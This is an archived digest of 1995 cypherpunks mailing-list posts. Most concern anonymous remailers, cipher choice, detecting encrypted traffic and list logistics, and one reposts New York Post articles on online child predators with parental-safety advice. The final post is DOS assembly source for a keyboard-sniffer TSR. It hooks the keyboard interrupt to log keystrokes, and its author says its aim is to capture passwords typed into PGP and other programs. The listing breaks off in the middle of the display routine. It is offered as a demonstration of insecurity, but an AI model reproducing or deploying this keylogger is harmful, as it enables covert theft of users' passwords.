December 2003 - cypherpunks-legacy

Cybersmut
by John Young 17 Dec '03

17 Dec '03

New York Post, January 9, 1995 Front Page, pp. 8, 9. Four articles. A Post Investigation Computer Sickos Target Your Kids Child-porn perverts roam info-highway Furor Over Cybersmut Molesters With a Modem Kiddie-sex perverts using computers to lure victims By Lou Lumenick and Kieran Crowley City cops are about to start patrolling the information superhighway to hunt down child pornographers and pedophiles who are luring kids through high-tech computer bulletin boards, The Post has learned. "The bulletin boards are a total haven for pedophiles," said Sgt. Richard Perrine, who's forming a new computer investigation unit. There are no names and faces, and a 33-year-old man can pass himself off as a 10-year-old kid." Perrine said the new unit, in the NYPD's Organized Crime Control Bureau, plans to include computer child-pornographers and pedophiles among its targets. "We haven't really solidified our strategy yet," he told The Post. "This is something that's so new, law enforcement is not quite ready for it." Law-enforcement officials say pedophiles are lurking on the nation's three major on-line services, America Online Prodigy and Compuserve where kiddie-sex perverts are using computers to lure victims -- as well as on the worldwide Internet, smaller online services, and locally-operated computer bulletin boards. On-line services are an easy way for pedophiles to meet children anonymously, noted Dyanne Greer, a senior lawyer with the National Center for the Prosecution of Child Abuse. "Many cases are not reported, so I'm not sure anybody is really aware how much this is going on," she said. A Post probe uncovered these on-line horror stories: Westchester computer expert George Telesha pretended to be a 14-year-old girl on America Online and was quickly besieged by perverts sending dirty pictures. A Manhattan computer expert allegedly got a 13-year-old New Jersey boy he met on-line to go skating with him. Cops said the man lured the youth into the woods near the boy's home and sexually abused him six times between last July and September. An unemployed Brooklyn computer programmer tried to sodomize a Nevada teen-ager he met on a computer bulletin board. A 27-year-old computer engineer in Cupertino, Calif., allegedly met a 14-year-old boy through America Online. He is charged with handcuffing, shackling and blindfolding the boy and then taking him to his apartment, where he whipped him with a belt, shaved his pubic hair and had sex with him. California man sent pornographic photos via computer to a teen-ager, then sought to have the teen killed to silence him. Such crimes are not easy to investigate or prosecute, officials note. "It's a bigger problem than most people realize," said Mike Brick, director of the Orlando bureau of the Florida State Office of Law Enforcement. "There's a lot of people out there who want to have sex with children. If they hang out at a real playground, a teacher or someone might see them. In the computer playground they can more or less hide in the bushes." A handful of agencies have staffers pose as youngsters to solicit dirty pictures and come-ons, but many don't have the manpower, equipment or inclination to do so on a regular basis. And even if they did, experts say there's probably no way to completely stop on-line perverts -- who constitute a tiny fraction of overall on-line communicators -- short of shutting down the services. And that is not only unlikely, but would rob children and others of a valuable educational resource. The services say they're concerned -- but in no position to play the role of police. AOL spokeswoman Pam McGraw said computer-privacy laws keep her company's hands tied when it comes to the person-to-person type of communication in which porn can be exchanged in electronic "private chat rooms." "Federal law prevents us from monitoring E-mail," McGraw said. "We do our best to prevent misuse of our service." She urged AOL customers to report offensive communications -- which are prohibited under company rules -- so the company can warn offenders or eject them from the system. Law-enforcement officials say on-line companies are quick to cut off perverts and help track down and prosecute pedophiles and pornographers. But the crimes still flourish because computers make life simpler for the perverts. Pedophiles can easily pretend to be a child online, or even someone of the opposite sex, to help draw a child into a trap. And they can elude detection by using false names and post office boxes. "Offenders can say they're other kids, then arrange for face-to-face meetings," Greer said. "It's pretty scary when you find out you're dealing with a 47-year-old man instead of the 14-year-old you expected." Greer said some pedophiles have convinced children to pose for pornographic pictures. The pedophiles then trade the pictures with other perverts, or use the pictures to draw in other kids "and break down their inhibitions," she said. End Article 1 Article 2 Photo: CREEP CATCHERS: Special agent Mike Brick (white shirt) of the Florida state police and another agent track a pedophile on the computer. How to protect your children Steps parents can take to stop on-line pedophiles By Lou Lumenick Parents must take the offensive to protect their children from on-line perverts, experts say. "You wouldn't let a young child hang out in a playground or mall alone, so don't let them hang out in the computer playground by themselves," said Mike Brick of the Florida Department of Law Enforcement. "You need to exercise the same caution." So what can a parent do? First of all, experts say talk with someone at your on-line system -- whether it's America Online, Prodigy, Compuserve, Genie Delphi or one of the others. All of them allow users to limit access by children. Subscribers to America Online, for instance, can bar their children from the private "chat rooms," where the more sexually explicit conversations take place. Most services will also allow you to disable one-on-one conversations when your child logs on. Then talk with your children. Rule No. 1 is that they must never ever give their real name, address or telephone number to anyone on-line. Rule No. 2 is that they must never ever agree to meet with anyone they encounter on-line -- even if he says he's a kid the same age who lives across the street. He could very well be an adult willing to travel hundreds of miles for a sexual encounter. Beyond that, it's a matter of parental vigilance. "Make the kids teach you how to use the computer," said Dyanne Greer, a senior lawyer with the National Center for the Prosecution of Child Abuse. "Many parents take the attitude, 'Gee, my kids are learning a skill.' That's very true, but you can't be left behind or you won't know what's going on. Many experts recommend moving the computer out of the kids' bedroom into a more central place -- like the living room -- so parents can keep a closer eye on things. "If your kid wants to put the computer in his bedroom closet, I would be very nervous," Brick said. "If you find your children spending a lot of time on the service, you need to pay attention. "If every time you walk into the room, the screen goes dark, check it out. It could be the modern equivalent of kids under the cover with a flashlight reading Uncle Harry's Playboy magazine. Or worse." Brick said telltale signs of porn being downloaded include: "If you have a 100-megabyte drive and it's always full and the kids are demanding more memory. Photos can take a lot of memory. " "If you find floppy disks hidden around the house." "If you need help playing them or figuring out whether there's a problem, go to your local police department. Most will be happy to help." End Article 2 Article 3 Chilling messages made dad take action By Kieran Crowley George Telesha couldn't believe his ears. Or his modem. Telesha, 46, a bank computer specialist and president of the Westchester chapter of the Fathers Rights Association, heard from several dads that their kids were accessing porn on their home computers. So he decided to take a walk on the wild side -- on the information superhighway. Telesha, the father of two, pretended to be a 14-year-old girl named "Suzy" on an America Online computer bulletin board. He said he was besieged with perverts who sent dirty pictures. Telesha said several men sent "Suzy" porno pictures, tried to get her address and phone number -- and tried to lure her out of her home. "Can I come up to New York?" one out-of-state man said. "Can I meet you? You don't have to tell your parents." When "Suzy" mentioned her parents were not home, another man became very insistent, Telesha said. "I live in New York. Can I come over? I'll take you shopping," the man messaged "Suzy" in trying to set up a date at a local mall. One man said he lived in New Jersey and invited "Suzy" over for a photo session. Telesha said his most disturbing exchange was with a man who sent child sex pictures. "Do you have any more of these?" Telesha asked. "Usually, it's just one session," the man typed back. "That sent chills through me," said Telesha, fearing the photographed children may have been harmed. "It's mind-boggling. I haven't slept in a week. What happened to the children in these pictures? What is going to happen to them?" One AOL subscriber even offered hints on how to pick up young girls and take pornographic pictures of them Telesha said. "I think people ought to know what's going on. I just want to see it stopped," he said. End Article 3 [Article 4 reports on exchanges between Telesha masquerading as three different girls and AOL subscribers. Too disgusting to post. Censorship imposed for lurking kiddies.]

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Remailer traffic loads?
by Johnathan Corgan 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- Is there someplace that remailer operators routinely post information about traffic load? The reason I ask is that this issue can have a bearing on selection of remailers for chaining. Using Raph's list, one can gather an approximate feel for latency and reliability, but there is no way to know if a site is forwarding hundreds or thousands of messages a day (which would be good for traffic analysis), or just a few tens (which makes in/out analysis much easier.) Raph's list is a good 'reputation' system; however, it lacks this one bit of info which would be immensely helpful. Periodic postings of remailer frequency usage to alt.privacy.anon-server by the operators would be one way to propagate this info. Of course, I may be overlooking something basic: Would posting this info pose any kind of security weakness? I imagine not; if someone wants to get this info for traffic analysis, they just watch the remailer for a day or so. == Johnathan Corgan "Violence is the last refuge of the incompetent." jcorgan(a)scruznet.com -Isaac Asimov -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBLxRlJU1Diok8GKihAQHdJgP+IlVlKRkCbZQCjr9VgEgWLt0dY2jP4s5k WcRkpBHXnFxV2nkM2zF9L/UMf1hKkfcdqZj5FuLWLUE48pPvfZuhRebMq8BBay6R 5k0PiA095561uJb6T1mIwm+Tb3x/KZ/ZCMceoe5SA2lu8b6vmh+QdS/ZOc1aFsIj rhrquyzeCZs= =yjPJ -----END PGP SIGNATURE-----

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Re: Storm Signals
by anonymous-remailer＠shell.portal.com 17 Dec '03

17 Dec '03

> > > > 1: Somebody's roommate (a Green Beret) has been called back into > > > > 6 months of active service. He was not told where he'd be. > > > Perhaps Bosnia? > > > > I doubt it. [...] > > > > Military action also requires political will, and with the recent change > in power in the US govt there is no way anything is going to happen for at > least six months. Freshmen congressmen do not sign off on a war the first True. But clandestine operations don't require the approval of Congress. In fact, the prez never has to admit they exist. Ever. Read the Pentagon Papers. -Rat

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Re: Remailer traffic loads?
by L. McCarthy 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- > Is there someplace that remailer operators routinely post information > about traffic load? Remailers operating Matt Ghio's or Lance Cottrell's software should autoreply to a message with "Subject: remailer-stats" with a bar chart indicating the number of messages remailed in each of the past 24 hours. - --- [This message has been signed by an auto-signing service. A valid signature means only that it has been received at the address corresponding to the signature and forwarded.] -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Gratis auto-signing service iQBFAwUBLxRvwioZzwIn1bdtAQFdEQF/dTXM3ii1pAHUV108kMx8N3urhv/HAHQc IZHLEqfOcNTDaV6ZrDxuT+0AZzhdu8rL =ZKwP -----END PGP SIGNATURE-----

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Re: Multiple symetric cyphers
by cactus＠seabsd.hks.net 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- - -----BEGIN PGP SIGNED MESSAGE----- In article <199501120502.VAA29808(a)largo.remailer.net>, Eric Hughes <eric(a)remailer.net> wrote: > From: cactus(a)seabsd.hks.net (L. Todd Masco) > > I'm wondering: would the strength be increased by using a randomly selected > symetric cypher? > >Strength is not right aspect. Global risk is reduced, simply because >the aggregate cost of a breach is reduced. Isn't it? If an attacker does not know what cipher is used and breaking each is computationally expensive (though not prohibitively so) doesn't that add extra complexity? IE, if cipher A, B, and C are attackable in large but not prohibitive time, wouldn't an attacker have to spend more cycles to break something that was randomly one of those? I agree that it's not a significantly large jump, but if an attacker has to go through all the possibilities for A, B, before breaking something in C, it seems that there's a small increase in strength (Not being argumentative, really... I understand that this increase in strength isn't enough to warrant any significant effort. Just want to clarify the answer in my mind). >But selecting a single cipher is just as much a fixed policy as a >randomly selected one is. Far better to let the user pick a policy, >both about sent and accepted ciphers. Sure. Ideally, a user could say "use A" or "use randomly A, C, or D" or even "use A_x(C_x) or B_x(D_y)". I'm not certain the "accept" is a great idea, but what the hell... any theoretical general system should have support for such a decision to be made, right? As failure modes multiply... > I guess this reduces to: do strong cyphers have "signatures" of some sort, > by which the type of encryption can be derived? > >If they do, they're likely not _strong_ ciphers. Great... that's the answer I was looking for, and what my gut feeling was. I'm trying to determine how much rope is too much for a first pass. Related: is there, in general or in any known specific cases, any loss of security in using sym. cipher A on ciphertext B (of another sym. cipher) with the same key? With different keys (I would think not, but I vaguely remember mention of something here long ago)? - - -- Todd Masco | "life without caution/ the only worth living / love for a man/ cactus(a)hks.net | love for a woman/ love for the facts/ protectless" - A Rich Cactus' Homepage - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBLxSMSBNhgovrPB7dAQECKQP/fqXwOcRmH6Z5dm8fsDnFzkCNyy5bc7Os +/hWmyjlk6/qx2Ym0gvlIZaxMSVR68E1qQUaoiAaWY7SatskU8o6dZRI+SmON4NV qSZnBh/+TnQwcTK0c0N+4m3Y8GhIk0ERX9modZfadv15Q07yfP7MXEj4yRQOse6e WHmUg0WOhW4= =GedZ - -----END PGP SIGNATURE----- - --- [This message has been signed by an auto-signing service. A valid signature means only that it has been received at the address corresponding to the signature and forwarded.] -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Gratis auto-signing service iQBFAwUBLxTHISoZzwIn1bdtAQEUbAGAuX+ALOTHZkUd8vqsWzVZWKSKwnJ+03yW alp18VGBGaM4PLQWU0OAFmbBP8wUxBEz =U5tO -----END PGP SIGNATURE-----

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Remailing pricing and cover traffic
by Pierre Uszynski 17 Dec '03

17 Dec '03

We have been debating payment systems for remailers under the following assumptions: a) Reliable remailers will have to justify professional management by making money for their owners. b) End-of-chain remailers will need to make money to cover for their legal expenses. c) Payment would limit abuse. I already countered the last point. Let me try to deal with the first two to conclude that many professionally run remailers may very well stay free or close to that for a long time: Remailers are only one of many kinds of businesses that have been described on this list. Others will include reputation markets, near-traditional banking systems, stamp issuers, certification agencies, data havens etc... But we have also seen that nearly all other forms of businesses already now cannot but run afoul of a tentacular law at some time or other. We have concluded that many of these businesses would migrate to cypherspace, hiding their locations, owners, books, assets and other information too dangerous to keep in the open. Each such organisation will generate lots of traffic, in part under control of whoever is trying to do business with it. So they are potentially easily traceable and subject to legal or violent consequences. A possible solution is of course for their sites to be remailers too. Lots of non-descript remailers, trading lots of encrypted traffic, a lot of it remailer management info and bogus filler traffic. When you are one of many, and people correspond with you only through limited traffic anonymous response blocks, then the remailers help you stay hidden by providing cover traffic. But for this to work you must consistently attract a lot of cover traffic through your remailer(s). If others undercut your stamp price, or best your reliability status, you are in trouble because traffic will migrate to other more competitive remailers, and you will be left dry on the sand with the task to generate believable cover traffic yourself. You are also competing with the cypherspace customers hiding their own personal traffic under cover of "everyone-a-remailer" remailers. It may well be much simpler for cypherbusinesses to stay competitive on the "middle" remailer market, even at a loss, and to transmit volumes of believable (because real) cover traffic. End-of-chain (or more precisely "clear-text") remailers can be expected to be a minority as, after all, they are only needed to post to public forums. Maybe these will charge a fee. For the others, the most and biggest "porn GIFs" go through (even for free), the better... However, large free remailers may then arise suspicion: There is little reason to run a heavy traffic remailer for free, apart from getting cover traffic. Competition may then settle at a small price, far from enough to keep the remailer running, but enough to not be too conspicuous. Or better, non-profit remailers may become ubiquitous, being used in part to provide cover traffic and in part to transfer money from the cypherspace businesses to cover for the cost of the computers and obvious living expenses. Between cypherbusinesses, everyone-a-remailer operations, and a few real non-profits, most remailing may stay close to free for a long time. Untraceable money will be useful for all kinds of things, but maybe not so much for remailing. Pierre. pierre(a)shell.portal.com

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Re: Getting on the list
by pstemari＠erinet.com 17 Dec '03

17 Dec '03

At 11:55 AM 1/11/95 -0800, John Draper wrote: > ... I tried the usual request to cypherpunks-request(a)toad.com, but haven't >been sucessful. > >Who is maintaining the list these days? Does it still exist? And >why haven't any of my requests been hohored? Cypherpunks uses the majordomo software. Try sending a message to majordomo(a)toad.com containing the following two lines: help subscribe cypherpunks --Paul J. Ste. Marie pstemari(a)well.sf.ca.us, pstemari(a)erinet.com

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Re: Pornography, What is it?
by pstemari＠erinet.com 17 Dec '03

17 Dec '03

At 11:33 PM 1/10/95, Timothy C. May wrote: > ... I'm not a lawyer, and it's been 25 years since I was in a "civics" >class, so I'm sorry to not recall the precise language by which >"Congress shall make no law" also is taken to apply to Sacramento, >Albany, Austin, and so forth. The 14th Amendment extended the restrictions that the Bill of Rights place on the Federal Gov't to the state gov'ts. --Paul J. Ste. Marie pstemari(a)well.sf.ca.us, pstemari(a)erinet.com

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How do I know if its encrypted?
by marko＠millcomm.com 17 Dec '03

17 Dec '03

I keep seeing the idea that to keep out of trouble remailers and Data Havens should require that data be encrypted before it is accecpted. My question is how do I know it is encrypted? If I say that anyone sending me data to be massaged by my system must first encrypt it, how do I know they are in fact complying with that request? After all this is the area for the paranoid's to hang out in. I see some possible options. Most don't seem to workable. I could ... (1) Look at the incomming data, which of course would be impractical and defeat the whole idea. (2) Force them to pgp it, but that could be defeated by having enough of a pgp sig. that my system is fooled. Not to mention they must use *MY* idea of what good encryption is. After all I could say you must use my encryption software that has a backdoor I know of, i.e. clipper, or that costs money and can only be bought from me. This last point would be one way of making sure you made some money, but does seem impractial. (3) Peform a histogram analysis on it, if it doesn't pass a certain threshold reject the whole thing. Although cute, I don't like this one. (4) Encrypt it with my own key and decrypt it before squirting it back out. This doesn't seem to gain me anything though since it could be said that I still have the ability to look at the data. (5) Only acecpt data from a remailer or other service that would be guranteed to be encrypted. This seems like it would lead to a 'good ole boy' network that could exclude service providers it doesn't like. etc. etc. Whos to say that the data isn't encrypted? I could be hidding a real message in that eagale spread of a porn picture. 'Simple, don't allow porn but only accecpted images.' Well that certainly sounds like a can of worms waiting to squirm around your toes. Is the question of what is encrypted data similar to what material is porn or some other 'evil' data? Am I missing something in this simple requirment of only dealing with encrypted data? Or am I simply blowing something way out of proportion? -Mark ---------- Mark Oeltjenbruns marko(a)Millcomm.com N0CCQ SnipIt Research Finger for PGP key. 'My other key is 2048 bits.'

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Finally got on
by John Draper 17 Dec '03

17 Dec '03

I finally got on... I actually didn't get that swamped, but certainly I couldn't be expected to know that cypherpunks-request was defunkt. Oh well. Now that I'm on, I was wondering if anyone would let me know the status of Phil Zimmerman's case, and where I can xtract any info. I've heard reports that the Govt. was planning to press charges. Just getting back on here again, I'm not in the know of these things, but can now handle large amounts of mail. I'm also interested in knowing how I can help in Phil's defence case. Where do people mail checks to Phil's defence fund? Anyway, glad to be back up here again.... And a big fat HAPPY NEW YEAR to all of you Cypherpunk folks!! And Oh Yea!! Hi Brad, glad to make your acquaintence... Yup! The WELL was sure hosed today.... I'm just now getting mail thats backed up now for the 4 days I've been without power. There is ONE disadvantage of living out in the country.... Power can be a tad flakey. We've just got our power turned on today.... Yay!!! When I returned from MacWorld, things were really dark up here. :-) Cheers C. Crunch PS = Scuse the formatting, I STILL cannot get Microphone to not automatically word wrap.

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Re: Microsoft TrueName (tm)
by Censored Girls Anonymous 17 Dec '03

17 Dec '03

Praise Bob! The Rev. Ivan Stang's been preaching that for years! Long live the Slackmaster! Registered<BETSI>BEllcore Trusted Software Integrity system programmer *********************************************************************** Carol Anne Braddock "Give me your Tired, your Poor, your old PC's..." The TS NET REVOKED PGP KEY NO.0C91594D carolb(a)spring.com carolann(a)mm.com ************************************************************************ COMING SOON TO AN INTERNET NEWSGROUP NEAR YOU...............CENSORED.COM

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Re: Storm Signals
by NetSurfer 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- > Frankly, I'm quite puzzled by these signs. I can't think of any country that > seems due for a quick invasion by the USG, but the increase in granularity of > the GPS information suggests an operation of greater magnitude than just a > strike against terrorists, drug cartels etc. The normal clear transmission mode of GPS is intentionally "granulated." It was during ODS that the "granularity" was turned off rather than on. This was to allow them to purchase commercial GPS equipment for use in the Gulf theater. It could simply be a return to that standard mode. - -NetSurfer #include <standard.disclaimer> >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> == = = |James D. Wilson |V.PGP 2.7: 512/E12FCD 1994/03/17 > " " o " |P. O. Box 15432 | finger for full PGP key > " " / \ " |Honolulu, HI 96830 |====================================> \" "/ G \" |Serendipitous Solutions| Also NetSurfer(a)sersol.com > >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - --- [This message has been signed by an auto-signing service. A valid signature means only that it has been received at the address corresponding to the signature and forwarded.] -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Gratis auto-signing service iQBFAwUBLxS1iSoZzwIn1bdtAQHrdQGA4SP5Eawy54J11nCmwI2WzbYPojKeM8S+ gE1DtpEO025SZ7JsBcgoXFBdllLHclvZ =Nl9j -----END PGP SIGNATURE-----

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Re: Microsoft TrueName (tm) (fwd)
by NetSurfer 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- >From: Censored Girls Anonymous <carolb(a)barton.spring.com> >To: cypherpunks(a)toad.com >Subject: Re: Microsoft TrueName (tm) >Praise Bob! The Rev. Ivan Stang's been preaching that for years! >Long live the Slackmaster! I wondered why one of the few registered hosts for Microsoft were called "Bob" - now it makes sense. (But they've got a good sized chunk of netblks registered...) - -NetSurfer #include <standard.disclaimer> >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> == = = |James D. Wilson |V.PGP 2.7: 512/E12FCD 1994/03/17 > " " o " |P. O. Box 15432 | finger for full PGP key > " " / \ " |Honolulu, HI 96830 |====================================> \" "/ G \" |Serendipitous Solutions| Also NetSurfer(a)sersol.com > >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - --- [This message has been signed by an auto-signing service. A valid signature means only that it has been received at the address corresponding to the signature and forwarded.] -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Gratis auto-signing service iQBFAwUBLxVXWioZzwIn1bdtAQFrygF+LKX95qYx46I4dr7TL5WBZd3brfu8VqcE BDR+o9c/Vqu1XTGTNiS2Ij4JCEm/R4Dw =CMgM -----END PGP SIGNATURE-----

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Re: Getting on the list
by pstemari＠erinet.com 17 Dec '03

17 Dec '03

At 06:57 PM 1/11/95 EST, Paul J. Ste. Marie wrote: (something I didn't mean to send out to cypherpunks) Sorry. --Paul J. Ste. Marie pstemari(a)well.sf.ca.us, pstemari(a)erinet.com

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Re: How do I know if its encrypted?
by daleh＠ix.netcom.com 17 Dec '03

17 Dec '03

You wrote: > >The context this was being discussed in, was trying to make _plaintext_ >look like _ciphertext_. The operator of a data haven or remailer might >hypothetically want to ensure that all text he dealt with was encrypted. >So your method wouldn't do anything in that area. The discussion was one of whether you could distinguish plaintext from cyphertext by doing a statitical analysis of the datastream, i.e. can you tell one from the other without actually reading each message. The answer is no. Dale H.

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Re: How do I know if its encrypted?
by daleh＠ix.netcom.com 17 Dec '03

17 Dec '03

You wrote: >So people can write special software that gets their message rejected >by an entropy filter. This is a disadvantage? It looks like an >irrelevancy to me. > It's an artificial example, but one that points out that merely doing a frequency analysis on the datastream isn't enough to guantee the correct answer. Reliable remailer software will have to worry about false postives as well as false negatives; especially if it's a fee-for-service operation. This might also be a nice feature if you're trying to dodge an NSA filter. >Seems to me that a quite reasonable condition of use of a remailer is >that what is passed isn't human readable. > Of course the implicit assumption in that statement is that encrypted traffic hasn't been outlawed or regulated, or that the sender doesn't want to 'appear' to be sending encrypted traffic.

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Re: How do I know if its encrypted?
by daleh＠ix.netcom.com 17 Dec '03

17 Dec '03

You wrote: >So people can write special software that gets their message rejected >by an entropy filter. This is a disadvantage? It looks like an >irrelevancy to me. > It's an artificial example, but one that points out that merely doing a frequency analysis on the datastream isn't enough to guantee the correct answer. Reliable remailer software will have to worry about false postives as well as false negatives; especially if it's a fee-for-service operation. This might also be a nice feature if you're trying to dodge an NSA filter. >Seems to me that a quite reasonable condition of use of a remailer is >that what is passed isn't human readable. > Of course the implicit assumption in that statement is that encrypted traffic hasn't been outlawed or regulated, or that the sender doesn't want to 'appear' to be sending encrypted traffic.

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keyboard sniffer TSR source code...
by m00012＠KANGA.STCLOUD.MSUS.EDU 17 Dec '03

17 Dec '03

For Dos operating systems. I wrote this in a weekend, and no longer wish to work with it. I will release it as is....do not ask for support, and if you know where I work, they have no idea I am doing this, so don't make any assumptions about my company's software. But, here it is, the source code for a keyboard sniffer program. After you assemble it, link it, turn it into a .com file, and execute it, just hit <alt> page up for a display of the first half of the buffer, and <alt> page down for a display of the second half of the buffer. Then, test it out with pgp or other dos based programs that ask you for a password (use a fake one), and you will probably see how insecure most of these programs are. Mike -----cut here---- ; Keyboard sniffer TSR ; ; asm kbs.asm ; link kbs.obj ; exe2bin kbs kbs.exe ; ;Notes: This is a keyboard sniffer program. It is intended to ; show how easy it is to make your computer insecure. ; This program hooks itself to the keyboard interrupt routine. ; It is not difficult to imagine a routine that simply replaced ; the keyboard interrupt routine, or simply monitored the ; keyboard buffer and pointers from another interrupt routine, ; e.g., the timer interrupt. ; It is also not a stretch of the imagination to say that it is ; possible that a program that monitors the keyboard buffer and ; display area for things that look like passwords (e.g., look ; for certain prompts, store next 500 characters) to either an ; unused area of the disk, or a hidden file, already exists. ; That is to say, the FBI, for example, could have already ; hired some programmers to come up with a .gif viewer that ; also attaches a keyboard sniffer to your system snooping ; for passwords, in the hopes that if and when the find a ; suspected (fill-in-the-blank) "crimminal", all they have ; to do is find the secret file created with their trojan TSR. ; ; ; ; KB_INT_NUM EQU 9 ;keyboard interrupt BUFFER_SIZE EQU 0b94H ;our buffer size, 19 lines 2 buffers TLC EQU 0C9H ;top left corner HL EQU 0CDH ;horizontal line TRC EQU 0BBH ;top right corner VL EQU 0BAH ;vertical line BLC EQU 0C8H ;bottom left corner BRC EQU 0BCH ;bottom right corner LCT EQU 0CCH ;left center tap RCT EQU 0B9H ;right center tap ALTPGUP EQU 9900H ALTPGDN EQU 0A100H ROM_BIOS_DATA SEGMENT AT 40H ;bios statuses and kb buffer ORG 1AH ;absolute KB_HEAD DW ? ;head of kb buffer KB_TAIL DW ? ;tail of kb buffer KB_BUFFER DW 16 DUP (?) ;The keyboard buffer KB_BUFFER_END LABEL WORD ROM_BIOS_DATA ENDS CODE_SEG SEGMENT ASSUME CS:CODE_SEG ORG 100H ; .com file FIRST: JMP INSTALL_INTERRUPTS_MAIN ; data area... buffer db BUFFER_SIZE dup ('*') head dw 5 tail dw 5 cnt dw ? ind dw ? show_buff dw 0 lkb_tail dw 0 ;last key board til ;this is for programs that leave ;the character in bios buffer ;past one interrupt, e.g., pgp OLD_KB_INTERRUPT LABEL WORD OLD_KB_INTERRUPT_ADDR DD ? row db ? idstring db "0x5fcf9eb78a01ef28" ;18 long KBINTERRUPT PROC NEAR ASSUME CS:CODE_SEG PUSH AX PUSH BX PUSH CX PUSH DX PUSH DI PUSH SI PUSH DS PUSH ES PUSHF CALL OLD_KB_INTERRUPT_ADDR CLI ASSUME DS:ROM_BIOS_DATA MOV BX,ROM_BIOS_DATA MOV DS,BX ; point ds to ROM_BIOS_AREA... MOV BX,KB_TAIL CMP BX,KB_HEAD JE nogo1 ;origianal keyboard interrupt has deleted char jmp short go1 mov cx,bx nogo1: jmp kbexit2 ;too far for je... go1: ;check to see if we already processed this character mov cx,bx ASSUME DS:CODE_SEG mov bx,cs mov ds,bx cmp cx,lkb_tail ;is it the same as last time? jne go3 ;no ASSUME DS:ROM_BIOS_DATA MOV BX,ROM_BIOS_DATA mov ds,bx jmp kbexit2 go3: mov lkb_tail,cx ;save new tail ASSUME DS:ROM_BIOS_DATA MOV BX,ROM_BIOS_DATA mov ds,bx mov bx,cx SUB BX,2 CMP BX,OFFSET KB_BUFFER ;did we wrap around? JAE NO_WRAP ;no MOV BX,OFFSET KB_BUFFER_END ;yes SUB BX,2 NO_WRAP:MOV DX,[BX] ; char in DX now... CMP DX,ALTPGUP ;altpgup hit? jne checknext1 ;no jmp short go2 ;yes, display first half of buffer checknext1: CMP DX,ALTPGDN ;altpgdn hit? jne nogo2 ;no mov kb_tail,bx ;delete alt pgdn from kb_buffer assume ds:code_seg mov cx,bx mov bx,cs mov ds,bx xor bx,bx ;garbage last tail mov lkb_tail,bx mov bx,offset buffer;yes, display second half of buffer add bx,BUFFER_SIZE/2 mov show_buff,bx call dump_buffer ;dump second half jmp kbexit1 nogo2: jmp save_key ;too far for jne.. go2: assume ds:rom_bios_data mov cx,bx mov bx,rom_bios_data mov ds,bx mov bx,cx mov kb_tail,bx ;delete '<alt> pgup' from kb_buffer assume ds:code_seg mov cx,bx mov bx,cs mov ds,bx xor bx,bx ;garbage last tail mov lkb_tail,bx mov bx,offset buffer ;first half buffer mov show_buff,bx call dump_buffer ;dump first half jmp kbexit1 save_key: ASSUME DS:CODE_SEG MOV BX,CS MOV DS,BX mov bx,offset buffer add bx,head mov [bx],dl ;dh? inc bx mov cx,offset buffer add cx,BUFFER_SIZE cmp bx,cx ; at end of buffer? jz wrap_it ; yes sub bx,offset buffer mov head,bx jmp kbexit1 wrap_it: xor bx,bx mov head,bx jmp kbexit1 kbexit1: ASSUME DS:ROM_BIOS_DATA MOV BX,ROM_BIOS_DATA MOV DS,BX kbexit2: POP ES POP DS POP SI POP DI POP DX POP CX POP BX POP AX STI IRET KBINTERRUPT ENDP dump_buffer PROC NEAR ASSUME DS:CODE_SEG MOV BX,CS MOV DS,BX STI jmp over_data sl1 db " Keyboard Sniffer Program ",0 sl2 db " Short Circuit, Inc. Version: 0.72 (Beta), (C)opyright 1995 ",0 over_data: mov dh,0 ;row mov dl,0 ;column mov bh,0 ;page mov ah,2 ;service int 10h ;set cursor position mov bh,0 ;page mov cx,1 ;count? mov al,TLC ;top left corner mov ah,0ah ;service int 10h mov dh,0 ;row mov dl,4fh ;column = 79 dec mov bh,0 ;page mov ah,2 ;service int 10h ;set cursor position mov bh,0 ;page mov cx,1 ;count? mov al,TRC ;top right corner mov ah,0ah ;service int 10h mov dh,17h ;row mov dl,0 ;column mov bh,0 ;page mov ah,2 ;service int 10h ;set cursor position mov bh,0 ;page mov cx,1 ;count? mov al,BLC ;bottom left corner mov ah,0ah ;service int 10h mov dh,17h ;row mov dl,4fh ;column=79 dec mov bh,0 ;page mov ah,2 ;service int 10h ;set cursor position mov bh,0 ;page mov cx,1 ;count? mov al,BRC ;bottom right corner mov ah,0ah ;service int 10h mov cx,4eh ;78 dec mov dh,0 ;row mov dl,1 ;column mov bh,0 ;page mov ah,2 ;service int 10h ;set cursor position mov bh,0 ;page mov cx,4eh ; 78 characters mov al,HL ;horizontal line mov ah,0ah ;service int 10h ;put char mov dh,3 ;row mov dl,1 ;column mov bh,0 ;page mov ah,2 ;service int 10h ;set cursor position mov bh,0 ;page mov cx,4eh ; 78 characters mov al,HL ;horizontal line mov ah,0ah ;service int 10h ;put char mov dh,17h ;row mov dl,1 mov bh,0 ;page mov ah,2 ;service int 10h ;set cursor position mov bh,0 ;page mov cx,4eh ;count mov al,HL ;horizontal line mov ah,0ah ;service int 10h ;put char mov cx,16h ;22 lines dline: mov dh,cl ;row mov dl,0 ;column mov bh,0 ;page mov ah,2 ;service int 10h ;set cursor position mov dx,cx ;save cx mov bh,0 ;page mov cx,1 ;count mov al,VL ;vertical line mov ah,0ah ;service int 10h mov cx,dx ;restore cx mov dh,cl ;row mov dl,4fh ;column mov bh,0 ;page mov ah,2 ;service int 10h ;set cursor position mov dx,cx ;save cx mov bh,0 ;page mov cx,1 ;count mov al,VL ;vertical line mov ah,0ah ;service int 10h 